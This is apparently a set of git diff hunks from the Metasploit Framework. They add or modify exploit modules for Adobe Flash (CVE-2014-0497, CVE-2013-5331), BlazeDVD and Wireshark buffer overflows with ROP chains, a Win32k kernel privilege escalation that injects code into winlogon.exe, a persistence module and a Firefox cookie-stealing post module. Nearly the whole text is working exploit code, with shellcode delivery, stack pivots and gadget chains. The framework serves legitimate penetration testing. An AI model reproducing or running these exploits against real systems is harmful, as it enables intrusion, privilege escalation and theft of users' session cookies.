print_status "Writing payload file as '#{payloadfile}'"
|
||||
write_file(payloadfile, pload)
|
||||
register_file_for_cleanup(payloadfile)
|
||||
|
||||
|
|
|
@ -0,0 +1,132 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Adobe Flash Player Integer Underflow Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in the ActiveX component of Adobe Flash Player
|
||||
before 12.0.0.43. By supplying a specially crafted swf file it is possible to trigger an
|
||||
integer underflow in several avm2 instructions, which can be turned into remote code
|
||||
execution under the context of the user, as exploited in the wild in February 2014. This
|
||||
module has been tested successfully with Adobe Flash Player 11.7.700.202 on Windows XP
|
||||
SP3, Windows 7 SP1 and Adobe Flash Player 11.3.372.94 on Windows 8 even when it includes
|
||||
rop chains for several Flash 11 versions, as exploited in the wild.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # vulnerability discovery and exploit in the wild
|
||||
'juan vazquez' # msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2014-0497' ],
|
||||
[ 'OSVDB', '102849' ],
|
||||
[ 'BID', '65327' ],
|
||||
[ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-04.html' ],
|
||||
[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2014/02/17/a-journey-to-cve-2014-0497-exploit.aspx' ],
|
||||
[ 'URL', 'http://blog.vulnhunt.com/index.php/2014/02/20/cve-2014-0497_analysis/' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
'Retries' => false
|
||||
},
|
||||
'Platform' => 'win',
|
||||
# Versions targeted in the wild:
|
||||
# [*] Windows 8:
|
||||
# 11,3,372,94, 11,3,375,10, 11,3,376,12, 11,3,377,15, 11,3,378,5, 11,3,379,14
|
||||
# 11,6,602,167, 11,6,602,171 ,11,6,602,180
|
||||
# 11,7,700,169, 11,7,700,202, 11,7,700,224
|
||||
# [*] Before windows 8:
|
||||
# 11,0,1,152,
|
||||
# 11,1,102,55, 11,1,102,62, 11,1,102,63
|
||||
# 11,2,202,228, 11,2,202,233, 11,2,202,235
|
||||
# 11,3,300,257, 11,3,300,273
|
||||
# 11,4,402,278
|
||||
# 11,5,502,110, 11,5,502,135, 11,5,502,146, 11,5,502,149
|
||||
# 11,6,602,168, 11,6,602,171, 11,6,602,180
|
||||
# 11,7,700,169, 11,7,700,202
|
||||
# 11,8,800,97, 11,8,800,50
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
|
||||
:method => "LoadMovie",
|
||||
:os_name => Msf::OperatingSystems::WINDOWS,
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
:flash => lambda { |ver| ver =~ /^11\./ }
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Feb 5 2014",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Request: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status("Sending SWF...")
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending HTML...")
|
||||
tag = retrieve_tag(cli, request)
|
||||
profile = get_profile(tag)
|
||||
profile[:tried] = false unless profile.nil? # to allow request the swf
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
def exploit_template(cli, target_info)
|
||||
|
||||
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||
shellcode = get_payload(cli, target_info).unpack("H*")[0]
|
||||
|
||||
html_template = %Q|<html>
|
||||
<body>
|
||||
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||
<param name="movie" value="<%=swf_random%>" />
|
||||
<param name="allowScriptAccess" value="always" />
|
||||
<param name="FlashVars" value="id=<%=shellcode%>" />
|
||||
<param name="Play" value="true" />
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0497", "Vickers.swf" )
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,131 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Adobe Flash Player Type Confusion Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a type confusion vulnerability found in the ActiveX
|
||||
component of Adobe Flash Player. This vulnerability was found exploited
|
||||
in the wild in November 2013. This module has been tested successfully
|
||||
on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170
|
||||
over Windows XP SP3 and Windows 7 SP1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery and exploit in the wild
|
||||
'bannedit', # Exploit in the wild discoverer, analysis and reporting
|
||||
'juan vazquez' # msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-5331' ],
|
||||
[ 'OSVDB', '100774'],
|
||||
[ 'BID', '64199'],
|
||||
[ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb13-28.html' ],
|
||||
[ 'URL', 'http://blog.malwaretracker.com/2014/01/cve-2013-5331-evaded-av-by-using.html' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2000,
|
||||
'DisableNops' => true,
|
||||
'PrependEncoder' => stack_adjust
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
'Retries' => false,
|
||||
'EXITFUNC' => "thread"
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
|
||||
:method => "LoadMovie",
|
||||
:os_name => Msf::OperatingSystems::WINDOWS,
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
:flash => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' }
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Dec 10 2013",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
super
|
||||
end
|
||||
|
||||
def stack_adjust
|
||||
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
|
||||
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
|
||||
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
|
||||
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
|
||||
|
||||
adjust
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Request: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status("Sending SWF...")
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending HTML...")
|
||||
tag = retrieve_tag(cli, request)
|
||||
profile = get_profile(tag)
|
||||
profile[:tried] = false unless profile.nil? # to allow request the swf
|
||||
print_status("showme the money")
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
def exploit_template(cli, target_info)
|
||||
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||
flash_payload = ""
|
||||
get_payload(cli,target_info).unpack("V*").each do |i|
|
||||
flash_payload << "0x#{i.to_s(16)},"
|
||||
end
|
||||
flash_payload.gsub!(/,$/, "")
|
||||
|
||||
|
||||
html_template = %Q|<html>
|
||||
<body>
|
||||
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||
<param name="movie" value="<%=swf_random%>" />
|
||||
<param name="allowScriptAccess" value="always" />
|
||||
<param name="FlashVars" value="sh=<%=flash_payload%>" />
|
||||
<param name="Play" value="true" />
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-5331", "Exploit.swf" )
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
|
||||
end
|
|
@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
:ua_name => Msf::HttpClients::IE,
|
||||
:ua_ver => '10.0',
|
||||
:mshtml_build => lambda { |ver| ver.to_i < 16843 },
|
||||
:flash => /^12\./
|
||||
:flash => /^1[23]\./
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
|
|
|
@ -12,36 +12,58 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'BlazeDVD 5.1 PLF Buffer Overflow',
|
||||
'Name' => 'BlazeDVD 6.1 PLF Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack over flow in BlazeDVD 5.1. When
|
||||
This module exploits a stack over flow in BlazeDVD 5.1 and 6.2. When
|
||||
the application is used to open a specially crafted plf file,
|
||||
a buffer is overwritten allowing for the execution of arbitrary code.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'MC' ],
|
||||
'Author' =>
|
||||
[
|
||||
'MC', # Developed target 5.1
|
||||
'Deepak Rathore', # ExploitDB PoC
|
||||
'Spencer McIntyre', # Developed taget 6.2
|
||||
'Ken Smith' # Developed target 6.2
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE' , '2006-6199' ],
|
||||
[ 'OSVDB', '30770'],
|
||||
[ 'EDB', '32737' ],
|
||||
[ 'OSVDB', '30770' ],
|
||||
[ 'BID', '35918' ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'DisablePayloadHandler' => 'true',
|
||||
'EXITFUNC' => 'process'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 750,
|
||||
'BadChars' => "\x00",
|
||||
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
|
||||
'DisableNops' => 'True',
|
||||
'BadChars' => "\x00\x0a\x1a",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'BlazeDVD 5.1', { 'Ret' => 0x100101e7 } ],
|
||||
[ 'BlazeDVD 6.2',
|
||||
{
|
||||
'Payload' =>
|
||||
{
|
||||
# Stackpivot => add esp,0xfffff254
|
||||
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
|
||||
}
|
||||
}
|
||||
],
|
||||
[ 'BlazeDVD 5.1',
|
||||
{
|
||||
'Ret' => 0x100101e7,
|
||||
'Payload' =>
|
||||
{
|
||||
'EncoderType' => Msf::Encoder::Type::AlphanumUpper
|
||||
}
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Aug 03 2009',
|
||||
|
@ -49,22 +71,59 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']),
|
||||
OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def rop_chain
|
||||
# rop chain generated with mona.py - www.corelan.be
|
||||
case target.name
|
||||
when 'BlazeDVD 6.2'
|
||||
rop_gadgets = [ ]
|
||||
# 0x6162e802 RETN (ROP NOP) [EPG.dll]
|
||||
rop_gadgets.fill(0x6162e802, 0..7)
|
||||
rop_gadgets += [
|
||||
0x61636758, # POP EAX # RETN [EPG.dll]
|
||||
0x10011108, # ptr to &VirtualProtect() [IAT SkinScrollBar.Dll]
|
||||
0x616306ed, # MOV EAX,DWORD PTR DS:[EAX] # RETN [EPG.dll]
|
||||
0x616385d8, # XCHG EAX,ESI # RETN 0x00 [EPG.dll]
|
||||
0x61628ea2, # POP EBP # RETN [EPG.dll]
|
||||
0x616069a1, # push esp # ret 0x04 [EPG.dll]
|
||||
0x61626702, # POP EAX # RETN [EPG.dll]
|
||||
0xfffffdff, # Value to negate, will become 0x00000201
|
||||
0x61627d9c, # NEG EAX # RETN [EPG.dll]
|
||||
0x61640124, # XCHG EAX,EBX # RETN [EPG.dll]
|
||||
0x61629938, # POP EAX # RETN [EPG.dll]
|
||||
0xffffffc0, # Value to negate, will become 0x00000040
|
||||
0x61627d9c, # NEG EAX # RETN [EPG.dll]
|
||||
0x61608ba2, # XCHG EAX,EDX # RETN [EPG.dll]
|
||||
0x61612f5a, # POP ECX # RETN [EPG.dll]
|
||||
0x100142ab, # &Writable location [SkinScrollBar.Dll]
|
||||
0x616313ac, # POP EDI # RETN [EPG.dll]
|
||||
0x6162e588, # RETN (ROP NOP) [EPG.dll]
|
||||
0x6162d638, # POP EAX # RETN [EPG.dll]
|
||||
0x90909090, # nop
|
||||
0x61620831, # PUSHAD # RETN [EPG.dll]
|
||||
]
|
||||
end
|
||||
return rop_gadgets.flatten.pack("V*")
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
plf = rand_text_alpha_upper(6024)
|
||||
|
||||
plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) + [target.ret].pack('V')
|
||||
plf[876,12] = make_nops(12)
|
||||
plf[888,payload.encoded.length] = payload.encoded
|
||||
case target.name
|
||||
when 'BlazeDVD 5.1'
|
||||
plf = rand_text_alpha_upper(6024)
|
||||
plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) + [target.ret].pack('V')
|
||||
plf[876,12] = make_nops(12)
|
||||
plf[888,payload.encoded.length] = payload.encoded
|
||||
when 'BlazeDVD 6.2'
|
||||
plf = rand_text_alphanumeric(260)
|
||||
plf << rop_chain
|
||||
plf << payload.encoded
|
||||
end
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
|
||||
file_create(plf)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Wireshark <= 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow',
|
||||
'Name' => 'Wireshark wiretap/mpeg.c Stack Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module triggers a stack buffer overflow in Wireshark <= 1.8.12/1.10.5
|
||||
by generating an malicious file.)
|
||||
|
@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Wesley Neelen', # Discovery vulnerability
|
||||
'Wesley Neelen', # Discovery vulnerability
|
||||
'j0sm1', # Exploit and msf module
|
||||
],
|
||||
'References' =>
|
||||
|
@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[ 'CVE', '2014-2299'],
|
||||
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=9843' ],
|
||||
[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2014-04.html' ],
|
||||
[ 'URL', 'http://www.securityfocus.com/bid/66066/info' ]
|
||||
[ 'BID', '66066']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
|
@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'BadChars' => "\xff",
|
||||
'Space' => 600,
|
||||
'DisableNops' => 'True',
|
||||
'PrependEncoder' => "\x81\xec\xc8\x00\x00\x00" # sub esp,200
|
||||
'PrependEncoder' => "\x81\xec\xc8\x00\x00\x00" # sub esp,200
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
|
@ -49,11 +49,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
{
|
||||
'OffSet' => 69732,
|
||||
'OffSet2' => 70476,
|
||||
'Ret' => 0x1c077cc3, # pop/pop/ret -> "c:\Program Files\Wireshark\krb5_32.dll" (version: 1.6.3.16)
|
||||
'Ret' => 0x1c077cc3, # pop/pop/ret -> "c:\Program Files\Wireshark\krb5_32.dll" (version: 1.6.3.16)
|
||||
'jmpesp' => 0x68e2bfb9,
|
||||
}
|
||||
],
|
||||
[ 'WinXP SP2/SP3 English (bypass DEP)',
|
||||
[ 'WinXP SP2/SP3 English (bypass DEP)',
|
||||
{
|
||||
'OffSet2' => 70692,
|
||||
'OffSet' => 70476,
|
||||
|
@ -75,25 +75,25 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def create_rop_chain()
|
||||
|
||||
# rop chain generated with mona.py - www.corelan.be
|
||||
rop_gadgets =
|
||||
rop_gadgets =
|
||||
[
|
||||
0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
|
||||
0x62d9027c, # ptr to &VirtualProtect() [IAT libcares-2.dll]
|
||||
0x61970969, # MOV EAX,DWORD PTR DS:[EAX] # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
|
||||
0x61988cf6, # XCHG EAX,ESI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
|
||||
0x61970969, # MOV EAX,DWORD PTR DS:[EAX] # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
|
||||
0x61988cf6, # XCHG EAX,ESI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
|
||||
0x619c0a2a, # POP EBP # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
|
||||
0x61841e98, # & push esp # ret [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
|
||||
0x6191d11a, # POP EBX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
|
||||
0x00000201, # 0x00000201-> ebx
|
||||
0x5a4c1414, # POP EDX # RETN [zlib1.dll, ver: 1.2.5.0]
|
||||
0x5a4c1414, # POP EDX # RETN [zlib1.dll, ver: 1.2.5.0]
|
||||
0x00000040, # 0x00000040-> edx
|
||||
0x6197660f, # POP ECX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
|
||||
0x668242b9, # &Writable location [libgnutls-26.dll]
|
||||
0x6199b8a5, # POP EDI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0
|
||||
0x63a528c2, # RETN (ROP NOP) [libgobject-2.0-0.dll]
|
||||
0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
|
||||
0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
|
||||
0x90909090, # nop
|
||||
0x6199652d, # PUSHAD # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
|
||||
0x6199652d, # PUSHAD # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]
|
||||
].flatten.pack("V*")
|
||||
|
||||
return rop_gadgets
|
||||
|
|
|
@ -0,0 +1,140 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/windows/reflective_dll_injection'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
include Msf::Post::Windows::FileInfo
|
||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)',
|
||||
'Description' => %q{
|
||||
This module leverages a kernel pool overflow in Win32k which allows local privilege escalation.
|
||||
The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process).
|
||||
This allows any unprivileged process to freely migrate to winlogon.exe, achieving
|
||||
privilege escalation. This exploit was used in pwn2own 2013 by MWR to break out of chrome's sandbox.
|
||||
NOTE: when a meterpreter session started by this exploit exits, winlogin.exe is likely to crash.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Nils', #Original Exploit
|
||||
'Jon', #Original Exploit
|
||||
'Donato Capitella <donato.capitella[at]mwrinfosecurity.com>', # Metasploit Conversion
|
||||
'Ben Campbell <ben.campbell[at]mwrinfosecurity.com>' # Help and Encouragement ;)
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows 7 SP0/SP1', { } ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-1300' ],
|
||||
[ 'MSB', 'MS13-053' ],
|
||||
[ 'URL', 'https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/' ]
|
||||
],
|
||||
'DisclosureDate' => 'Dec 01 2013',
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
end
|
||||
|
||||
def check
|
||||
os = sysinfo["OS"]
|
||||
unless (os =~ /windows/i)
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
|
||||
major, minor, build, revision, branch = file_version(file_path)
|
||||
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
|
||||
|
||||
case build
|
||||
when 7600
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
when 7601
|
||||
if branch == 18
|
||||
return Exploit::CheckCode::Vulnerable if revision < 18176
|
||||
else
|
||||
return Exploit::CheckCode::Vulnerable if revision < 22348
|
||||
end
|
||||
end
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
if is_system?
|
||||
fail_with(Exploit::Failure::None, 'Session is already elevated')
|
||||
end
|
||||
|
||||
if sysinfo["Architecture"] =~ /wow64/i
|
||||
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
|
||||
elsif sysinfo["Architecture"] =~ /x64/
|
||||
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
|
||||
end
|
||||
|
||||
unless check == Exploit::CheckCode::Vulnerable
|
||||
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
|
||||
end
|
||||
|
||||
print_status("Launching notepad to host the exploit...")
|
||||
notepad_process_pid = cmd_exec_get_pid("notepad.exe")
|
||||
begin
|
||||
process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS)
|
||||
print_good("Process #{process.pid} launched.")
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
print_status("Operation failed. Hosting exploit in the current process...")
|
||||
process = client.sys.process.open
|
||||
end
|
||||
|
||||
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
|
||||
library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "schlamperei.x86.dll")
|
||||
library_path = ::File.expand_path(library_path)
|
||||
|
||||
print_status("Injecting exploit into #{process.pid}...")
|
||||
exploit_mem, offset = inject_dll_into_process(process, library_path)
|
||||
|
||||
thread = process.thread.create(exploit_mem + offset)
|
||||
client.railgun.kernel32.WaitForSingleObject(thread.handle, 5000)
|
||||
|
||||
client.sys.process.each_process do |p|
|
||||
if p['name'] == "winlogon.exe"
|
||||
winlogon_pid = p['pid']
|
||||
print_status("Found winlogon.exe with PID #{winlogon_pid}")
|
||||
|
||||
if execute_shellcode(payload.encoded, nil, winlogon_pid)
|
||||
print_good("Everything seems to have worked, cross your fingers and wait for a SYSTEM shell")
|
||||
else
|
||||
print_error("Failed to start payload thread")
|
||||
end
|
||||
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
|
||||
OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]),
|
||||
OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']),
|
||||
OptString.new('PATH',[false, 'Path to write payload']),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
@ -130,7 +131,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
# Writes script to target host
|
||||
def write_script_to_target(vbs,name)
|
||||
tempdir = session.sys.config.getenv('TEMP')
|
||||
tempdir = datastore['PATH'] || session.sys.config.getenv('TEMP')
|
||||
if name == nil
|
||||
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
|
||||
else
|
||||
|
@ -139,7 +140,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
begin
|
||||
write_file(tempvbs, vbs)
|
||||
print_good("Persistent Script written to #{tempvbs}")
|
||||
@clean_up_rc << "rm #{tempvbs}\n"
|
||||
@clean_up_rc << "rm '#{tempvbs}'\n"
|
||||
rescue
|
||||
print_error("Could not write the payload on the target hosts.")
|
||||
# return nil since we could not write the file on the target host.
|
||||
|
|
|
@ -26,7 +26,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ],
|
||||
[ 'CVE', '2014-0784']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -28,7 +28,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ],
|
||||
[ 'CVE', '2014-0783']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -5,11 +5,9 @@
|
|||
|
||||
require 'json'
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/firefox'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Payload::Firefox
|
||||
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
|
||||
|
||||
def initialize(info={})
|
||||
|
@ -29,12 +27,14 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
def run
|
||||
print_status "Running the privileged javascript..."
|
||||
session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
|
||||
results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
|
||||
results = js_exec(js_payload)
|
||||
if results.present?
|
||||
begin
|
||||
cookies = JSON.parse(results)
|
||||
cookies.each do |entry|
|
||||
entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) }
|
||||
end
|
||||
|
||||
file = store_loot("firefox.cookies.json", "text/json", rhost, results)
|
||||
print_good("Saved #{cookies.length} cookies to #{file}")
|
